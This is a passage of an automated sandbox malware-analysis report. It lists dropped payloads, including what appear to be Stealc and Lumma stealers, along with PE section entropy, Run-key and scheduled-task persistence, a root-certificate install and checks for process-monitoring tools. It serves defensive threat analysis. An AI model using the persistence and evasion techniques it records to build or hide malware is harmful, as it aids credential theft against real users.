Source: Microsoft-Edge.exe.6.dr	Static PE information: section name: /70
Source: Microsoft-Edge.exe.6.dr	Static PE information: section name: /81
Source: Microsoft-Edge.exe.6.dr	Static PE information: section name: /92
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: llbyxbem
Source: random[1].exe.6.dr	Static PE information: section name: vndwcpmt
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: c6f71c9f40.exe.6.dr	Static PE information: section name:
Source: c6f71c9f40.exe.6.dr	Static PE information: section name: .rsrc
Source: c6f71c9f40.exe.6.dr	Static PE information: section name: .idata
Source: c6f71c9f40.exe.6.dr	Static PE information: section name:
Source: c6f71c9f40.exe.6.dr	Static PE information: section name: llbyxbem
Source: c6f71c9f40.exe.6.dr	Static PE information: section name: vndwcpmt
Source: c6f71c9f40.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: xmjcxhmw
Source: random[1].exe0.6.dr	Static PE information: section name: lqsidhwe
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name:
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name: .idata
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name:
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name: xmjcxhmw
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name: lqsidhwe
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0021D84C push ecx; ret	6_2_0021D85F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0648E320 push es; ret	11_2_0648E330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0648EFB2 push eax; ret	11_2_0648EFC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0648C9E1 push es; ret	11_2_0648C9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00428E7D push esi; ret	15_2_00428E86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004076E0 push ecx; ret	15_2_004076F3
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004F7333 push 04EC839Eh; mov dword ptr [esp], edi	16_2_004F733A
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_058EC413 push ss; iretd	17_2_058EC41A
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_058EC411 push ss; iretd	17_2_058EC412
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AF369F push ebx; iretd	17_2_06AF36A2
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AF3721 push esp; iretd	17_2_06AF3722
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AF3743 push ebp; iretd	17_2_06AF374A
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AF3740 push esi; iretd	17_2_06AF3742
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AF35E3 push ebx; iretd	17_2_06AF35EA
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AF4261 pushad ; iretd	17_2_06AF4262
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AFECF2 push eax; ret	17_2_06AFED01

Source: file.exe	Static PE information: section name: entropy: 7.97957201146314
Source: file.exe	Static PE information: section name: tutljgzd entropy: 7.954503942992439
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.97957201146314
Source: axplong.exe.0.dr	Static PE information: section name: tutljgzd entropy: 7.954503942992439
Source: random[1].exe.6.dr	Static PE information: section name: llbyxbem entropy: 7.9547357115051796
Source: c6f71c9f40.exe.6.dr	Static PE information: section name: llbyxbem entropy: 7.9547357115051796
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.982298825407469
Source: random[1].exe0.6.dr	Static PE information: section name: xmjcxhmw entropy: 7.954658026811254
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name: entropy: 7.982298825407469
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name: xmjcxhmw entropy: 7.954658026811254
Source: gold[1].exe.6.dr	Static PE information: section name: .text entropy: 7.996189613972712
Source: gold.exe.6.dr	Static PE information: section name: .text entropy: 7.996189613972712
Source: 12dsvc[1].exe.6.dr	Static PE information: section name: .text entropy: 7.999068736163035
Source: 12dsvc.exe.6.dr	Static PE information: section name: .text entropy: 7.999068736163035

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Microsoft-Edge[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\neon[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	File created: C:\Users\user\AppData\Local\Temp\svchost015.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File created: C:\Users\user\AppData\Local\Temp\NetSup_Buil2d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\needmoney[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	File created: C:\Users\user\AppData\Roaming\Ylrdnrwcx.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\crypted[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000355001\3ab68b6f1f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\gold[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\12dsvc[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\newbundle2[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\rstxdhuj[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\LummaC222222[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Nework[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\cccc2[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000357001\Microsoft-Edge.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c6f71c9f40.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3ab68b6f1f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ylrdnrwcx

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c6f71c9f40.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c6f71c9f40.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3ab68b6f1f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3ab68b6f1f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ylrdnrwcx
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ylrdnrwcx

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
